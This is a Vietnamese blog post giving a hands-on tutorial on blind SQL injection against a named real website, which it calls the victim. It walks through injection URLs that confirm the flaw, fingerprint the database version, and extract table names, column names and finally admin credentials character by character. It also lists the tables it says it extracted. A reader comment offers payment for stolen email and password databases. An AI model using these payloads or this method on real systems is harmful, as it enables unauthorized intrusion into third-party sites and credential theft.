Chia sẻ thông tin

KenjiVN - Quốc Trưởng

Search This Blog

Thursday, June 14, 2012

Hướng dẫn tấn công website P2

Hướng dẫn tấn công website P2

Chào các bạn.Hôm trước đã hướng dẫn các bạn tấn công qua lỗi Inband Sql injection(http://www.blog.kenjivn.net/2012/06/huong-dan-tan-cong-website-p1.html). Hôm nay mình sẽ hướng dẫn các bạn tấn công thông qua lỗi Blind Sql injection.

Điểu kiện đọc bài viết này
+ Đã đọc kỹ bài viết tấn công website P1 của mình và hiểu vì sao mình lại thực hiện những câu truy vấn như thế.
+ Đã thank vào bài viết tấn công website P1 của mình
Cách khai thác này khá là lâu,vì thế đòi hỏi bạn phải kiên trì đọc và hiểu từ đầu đến cuối
Phần 1:Lý thuyết
SQL Injection là phương thức khai thác dựa vào quá trình trao đổi dữ liệu giữa người dùng và Web Application. Việc ứng dụng không kiểm tra các giá trị đầu vào đẫn đến attacker có thể cho thực thi các SQL query không mong muốn can thiệp vào database làm thay đổi, thêm, xem hay xóa các dữ liệu.

Hacker thường khai thác bằng các gửi các giá trị đầu vào để server sinh các thông tin lỗi để từ đó tùy biến theo câu truy vấn gốc của người thiết kế.

Nếu Web Application được customize các trang lỗi hay các trang lỗi không trả về, phải làm thế nào? Hãy thử khai thác với phương thức: blind sql injection.

Sự khác nhau giữa cơ bản giữa Inband và Blind
InBand:Hiện số column lỗi ra,ta có thể khai thác dễ dàng.
Blind :Không hiện số column lỗi.
Lấy ví dụ câu truy vấn dạng Blind thế này
Câu truy vấn 1.
Trích:
Mã:
Select content
From news 
Where new_id=$_get[‘id’] and 1=1
Câu truy vấn 2.
Trích:
Mã:
Select content ,comment
From news
Where news_id=$_get[‘id’]
Dữ liệu ta gửi cho biến id,sẽ được chèn vào cả 2 câu truy vấn,ta không thể xác định được số lượng column phù hợp khi dùng union
Đầu tiền mình giới thiệu các hàm hữu ích khi khai thác thông qua lỗi Blind sql injection.
Trích:
[CODE]convert(int,(function/query)):Convert giá trị của câu query phía sau ra kiểu int
substring(string,vị trí,số lương):Hàm cắt chuỗi
Ví dụ substring('mình',1,2) :Nghĩa là từ vị trí số 1 lấy 2 giá trị.Kết quả là kt
ascii():Kết quả trả về là giá trị mã ascii
Mã:
Ví dụ:ascii(A) kết quả là 65
limit(query,x,y) :Tương tự substring()
Phần 2.Thực hành (Chắc ai cũng khoái phần này)
Victim:http://www.julianfantino.ca (Cái này có đứa trong xgroup hỏi mà mấy đứa reply thì cứ xài tool)có đứa đưa query thì dấu cha cái link.Thôi thì mình hướng dẫn vậy.( http://www.xgroup.vn/XgR/showthread.php?t=9765 )
Bước 1 Kiểm tra lỗi
Mã:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920'
Kết quả




Thử xem nó thực hiện câu truy vấn không.
Mã:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=0
=>Kết quả trả về rỗng
Mã:
[HTML]
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and 1=1
=>Kết quả trả về khác rỗng
Vậy là nó thực hiện câu truy vấn đăng sau rồi nhé
Bước 2: Kiểm tra version của nó
Mã:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)=5
=>Kết quả trả về bình thường.
Mã:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),1,1)>5
=>Kết quả trả về rỗng
Vậy kết luận version của nó là 5. mấy đó.Nói chung là lớn hơn 4 là ok rồi.vì có thể lấy được thông tin table từ database hệ thông information_schema.
Đên đây mình dừng việc kiểm tra lại.Bạn nào muốn biết 5.0 mấy thi dùng tiếp câu truy vấn
Mã:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and substring(version(),2,1)=0 --
Tương tự cho ký tự tiếp theo
Bước 3. Lấy table_name từ table tables trong data hệ thống information_schema
Đầu tiên ta lấy ký tự đầu tiên của table đầu tiên.Câu truy vấn khá dễ hiểu vì mình đã giải thích các hàm ở trên hết rồi.
Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>64 --
=>Kết quả trả về bình thường

Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>65 --
=>Kết quả trả về rỗng.Vậy ký tự đầu tiên là trong bảng mã Ascii có giá trị bằng 65=>Chữ A.
Lấy ký tự thứ 2 của table đầu tiên
Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>99 --

=>Kết quả trả về bình thường
Trích:
Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>100 --
=>Kết quả trả về khác thường.Vậy ký tự thứ 2 của table đầu tiền có giá trị trong bảng mã ascii là =100 ->chữ d thường.table đầu tiên có 2 chữ Ad......(rồi nhé)
Làm tương tự các bạn sẽ được các ký tự khác của table đầu tiên.và ra table đầu tiên có giá trị là AddressTypes

Tương tự để tìm table thứ 2,các bạn chỉ việc thay limit 1,1 thành limit 2,1
Giá trị các table sau khi lấy là LanguageCategoryRe ,JSLibrary,JSConfigDomains ,JSConfig ,INTERFACE_ELEMENTS ,GroupOwnershipPermissions ,GeoSearchRegions ,GeoSearchPostalCodes ,GeoSearchDistrictsToPostalCodes,GeoSearchDistrict s,GeoSearchContacts,GeoSearchContactTypes,FILE_CAT EGORIES,FILES,DomainLibraryIncludes,DomainLanguage s,DefaultSequence_seq,Countries,ContentArticleLink s,ContentArticleGroups,Component,CompMailouts,Cate goryType,Category,CategoriesToArticles,CanadaPostA ddresses,AuxillaryGroupLookup,ArticleSequence_seq ,Addresses,AddressTypes,ARTICLE_MODULES

Bước 4.Lấy column từ những table đã khai thác được
Lấy ký tự đầu tiên của column đầu tiên trong table AddressTypes
Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>77 --
=>Kết quả trả về bình thường
Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920
Trích:
Mã:
and ascii(substring((select column_name from information_schema.columns where table_name='AddressTypes' limit 1,1),1,1))>78 --

=>Khác thường(rỗng)
Vậy ký tự đầu tiền có giá trị trong ascii là 78 là N
.....
Làm tương tự ta được column đầu tiên là Name
Tiếp tục thay limit 2,1 để lấy column thứ 2,ta được column thứ 2 có tên là Id


Sau đó tiếp tục khai thác column của những table khác nhé.Cố gắng lên


Bước 5.Lấy giá trị từ những column khai thác.(Đến đây tớ đuối quá rồi,table mình khác ko có mới đau chứ )
Cách lấy:

Trích:

Mã:
http://www.julianfantino.ca/EN/6221/114162?tpid=3920 and ascii(substring((select gia tri colum from gia tri table limit 1,1),1,1))=0 --
Sau khi có user và password tìm link admin đăng nhập thôi.Các bạn thấy khổ không?Hack là khổ mà.

Cách khai thác này đòi hỏi các bạn phải kiên trì,mà thường gặp loại này thì xài tools,khi nào xài tools không được thì mới query bằng tay Những tool thì các bạn không hiểu bản chất

Chú ý:Trên đây là cách khai thác thông thường từ thời xa xưa,hiện nay có 1 cách mới nhanh hơn,show ra table luôn đó cách này thấy havij chưa hỗ trợ,havij xài cách get từng ký tự)=>Cách này mình sẽ hướng dẫn cho các bạn ở P3.

1 comments:

  1. i need database i need see database usa email+pass .i see this database your pc By program TeamViewer . i pay 50 $ pm

    I want to sense the database on your computer. I want to see the database before the payment process


    yahoo : ronitarronitar
    gmail : ronitarronitar
    skype : ronitarronitar

    ReplyDelete